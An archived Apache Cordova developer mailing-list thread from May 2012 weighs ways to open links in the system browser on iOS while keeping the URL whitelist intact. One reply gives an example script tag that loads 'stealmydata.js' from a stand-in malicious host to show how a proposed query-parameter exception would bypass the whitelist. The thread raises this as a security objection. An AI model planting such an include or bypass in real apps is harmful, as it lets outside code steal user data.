incubator-callback-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From Shazron <shaz...@gmail.com>
Subject Re: API function: Open url in system web browser
Date Sun, 20 May 2012 17:55:04 GMT
Let's recap. Here's the facts:

Our goal for fixing the bug, from the issue is:
https://issues.apache.org/jira/browse/CB-362

GOAL_1:
"A link such as this: <a href="http://google.com" target="_blank">Google</a>
should open by default in the device's web browser, without being
explicitly allowed in the plist (externalhosts).
This is the current (and, imo, expected) behaviour on Android."

GOAL_2:
Another stated goal is to also make the anchor tag with target
attribute work in the browser - part of the #4 proposal, and also of
#2.

GOAL_3:
I'm adding this one. It should maintain security, and not allow
anything to bypass the whitelist unless explicitly allowed to in
Cordova.plist

PROPOSALS:
1. Implement the loadUrl function for iOS, which already exists in Android
2. Overriding window.open
3. Adding ChildBrowser as a core plugin
4. Add a specific query param (_cordova_target) to anchor tags with
target attributes only to tags already in the DOM (not dynamic), so
iOS can can "recognize" it in native so it can skip the whitelist, and
spawn into a new browser

Proposal #1 - fulfills and GOAL_3, but NOT GOAL_2, only partially GOAL_1
Proposal #2 - fulfills GOAL_3 and GOAL_2, and partially GOAL_1, but it
was brought up that it takes 3 params, and the problematic callback
param etc which won't work
Proposal #3 - fulfills GOAL_3, but NOT GOAL_2, partially GOAL_1
Proposal #4 - fulfills GOAL_1 and GOAL_2, but NOT GOAL_3. I've already
outlined the reasons why, since it opens a hole in the whitelist for
this proposal to work.

Proposal #4 comes closest but I wouldn't compromise on security for
it. The other proposals can work the same as Proposal#4 (we intercept
the anchor tag that has a target _blank's onclick, and call the
appropriate JS function that we need, as well as add an explicit
interface if we want to).

Is that a good summary of what we have so far?


Shaz

On Sun, May 20, 2012 at 10:20 AM, Shazron <shazron@gmail.com> wrote:
> The fix is to open a URL that is NOT allowed by the whitelist in the
> system browser.
>
> On Sun, May 20, 2012 at 3:25 AM, Jesse MacFadyen
> <purplecabbage@gmail.com> wrote:
>> Backtracking a bit ...
>> Isn't the goal to explicitly open a link in the system browser?
>> ie. even though the whitelist would permit it.
>>
>>
>> On 2012-05-20, at 2:43 AM, Shazron <shazron@gmail.com> wrote:
>>
>>> e.g.
>>> <script src="http://evilsite.com/stealmydata.js?_cordova_target=foo"></script>
>>>
>>> this already escapes the whitelist in your proposal. And your
>>> proposal, for it to work, will need this whitelist exception.
>>>
>>> On Sun, May 20, 2012 at 2:38 AM, Shazron <shazron@gmail.com> wrote:
>>>> On Sun, May 20, 2012 at 12:43 AM, Brian LeRoux <b@brian.io> wrote:
>>>>> How is opening a URL in a web browser a security risk to the Cordova
code
>>>>> shaz?
>>>>
>>>> By opening up the whitelist to exclude urls that have the query param,
>>>> which your proposal requires, it allows malicious code to bypass the
>>>> whitelist by just including this query param. Not through an anchor
>>>> tag perhaps, but through ajax calls. The whitelist intercepts all
>>>> network connections.
>>>>
>>>>>
>>>>> Jesse: a declarative approach just means devs need to manually add the
URL
>>>>> param themselves (quirk). A fair trade while we wait for the beefier
>>>>> programmatic child browser API.
>>>>> On May 20, 2012 6:45 AM, "Shazron" <shazron@gmail.com> wrote:
>>>>>
>>>>>> Jesse, I understand the problem, I know what Brian is asking, I'm
>>>>>> afraid no one does understand with regards to the two request problem.
>>>>>> I was afraid someone would "go there" and suggest to compromise the
>>>>>> whitelist. This is a security problem if we allow any url with
>>>>>> _cordova-target= to circumvent the whitelist check, think about it
-
>>>>>> it's a big hole.
>>>>>>
>>>>>> On Sat, May 19, 2012 at 8:12 PM, Jesse <purplecabbage@gmail.com>
wrote:
>>>>>>> Shaz: I believe Brian is proposing you look for urls
>>>>>>> containing _cordova-target= before rejecting them via the whitelist.
>>>>>>>
>>>>>>> IMHO: The discussed solutions resolve to the same thing, it is
just a
>>>>>>> semantics discussion.
>>>>>>>
>>>>>>> Given the following html placed in the document by the developer:
>>>>>>> <a href="http://somwhere.com" target="_blank">asdf<a>
>>>>>>>
>>>>>>> Providing a new API means the link becomes (or something similar):
>>>>>>> gap://app/openExtUrl/http%3A%2F%2Fsomwhere.com
>>>>>>>
>>>>>>> Brian's proposal means the link becomes :
>>>>>>> http://somwhere.com&_cordova-target=blank
>>>>>>>
>>>>>>> So either native code has to watch for links with '_cordova-target='
or
>>>>>>> just handle another cordova command.
>>>>>>>
>>>>>>> Both solutions require re-writing urls on page load, or on dom
change.
>>>>>>>
>>>>>>> Andrew's earlier suggestion added a document level click handler
that
>>>>>> would
>>>>>>> determine if the clicked item was an <a> and do the right
thing based on
>>>>>>> it's attributes, which I think has some merit in that it handles
dynamic
>>>>>>> content, and it doesn't modify it, it just observes it.
>>>>>>>
>>>>>>> I will be thinking more on this and adding my recommendation
in a while
>>>>>> ...
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> On Sat, May 19, 2012 at 7:43 PM, Shazron <shazron@gmail.com>
wrote:
>>>>>>>
>>>>>>>> No. Read it again, especially the two request part. For urls
NOT in
>>>>>>>> the whitelist, the first request will be rejected by the
whitelist. It
>>>>>>>> won't work.
>>>>>>>>
>>>>>>>> On Sat, May 19, 2012 at 7:34 PM, Brian LeRoux <b@brian.io>
wrote:
>>>>>>>>> Ok, so read that, its referring to the target attribute
but it looks
>>>>>>>>> like you can check stil check for a url parameter on
an NSURLRequest
>>>>>>>>> [1].
>>>>>>>>>
>>>>>>>>>
>>>>>>>>
>>>>>> https://developer.apple.com/library/mac/#documentation/Cocoa/Reference/Foundation/Classes/NSURLProtocol_Class/Reference/Reference.html
>>>>>>>>>
>>>>>>>>> So what I'm proposing is this: cordovajs walks the dom
finding all
>>>>>>>>> anchors with a target attribute and adds something like
this to the
>>>>>>>>> href:
>>>>>>>>>
>>>>>>>>> <a href=http://somwhere.com&_cordova-target=blank
>>>>>> target=blank>asdf<.a>
>>>>>>>>>
>>>>>>>>> Then, when clicked, touched, whatever, you capture if
the URL
>>>>>>>>> parameter named _cordova-target exists. If it does, spawn
browser.
>>>>>>>>>
>>>>>>>>> Dynamic links would be missed. I think thats an ok/fair
quirk. If
>>>>>>>>> wanted to be aggressive we *could* watch for dom mutation
events and
>>>>>>>>> solve that too tho I suspect it would not help performance!
>>>>>>>>>
>>>>>>>>>
>>>>>>>>> On Sat, May 19, 2012 at 6:00 PM, Shazron <shazron@gmail.com>
wrote:
>>>>>>>>>> When JIRA is back up (it's under maintenance right
now), see my
>>>>>>>>>> first/second comment on this issue:
>>>>>>>>>> https://issues.apache.org/jira/browse/CB-362
>>>>>>>>>>
>>>>>>>>>> It's a bit too long to rehash :)
>>>>>>>>>>
>>>>>>>>>> On Sat, May 19, 2012 at 8:17 AM, Brian LeRoux <b@brian.io>
wrote:
>>>>>>>>>>> Sorry shaz, I must be dense but I missed the
technical reasons?
>>>>>>>>>>> On May 19, 2012 11:48 AM, "Shazron" <shazron@gmail.com>
wrote:
>>>>>>>>>>>
>>>>>>>>>>>>> The method I'm proposing
>>>>>>>>>>>>> assumes all link events are trapped,
inspected for a url param,
>>>>>> and
>>>>>>>> in
>>>>>>>>>>>>> its absence, falls back to default behavior.
Maybe thats not
>>>>>>>>>>>>> realistic. Seems like both iOS and Android
do not trap the target
>>>>>>>>>>>>> attribute. Which means we'd need to add
a url param so that trap
>>>>>> is
>>>>>>>>>>>>> caught.
>>>>>>>>>>>>>
>>>>>>>>>>>>
>>>>>>>>>>>> It is not entirely a question of "nastiness"
in adding a url param
>>>>>>>>>>>> with regards to why it won't work in iOS
(although imo I don't like
>>>>>>>>>>>> it) - I have already presented valid technical
reasons.
>>>>>>>>>>>>
>>>>>>>>>>>> With respect to achieving all our goals -
not introducing a new
>>>>>> API,
>>>>>>>>>>>> and fixing this bug that sorely needs fixing
- ChildBrowser like
>>>>>> you
>>>>>>>>>>>> proposed is the better bet then. So what
should be the plan for
>>>>>> this?
>>>>>>>>>>>>
>>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>>
>>>>>>> --
>>>>>>> @purplecabbage
>>>>>>> risingj.com
>>>>>>

Mime
View raw message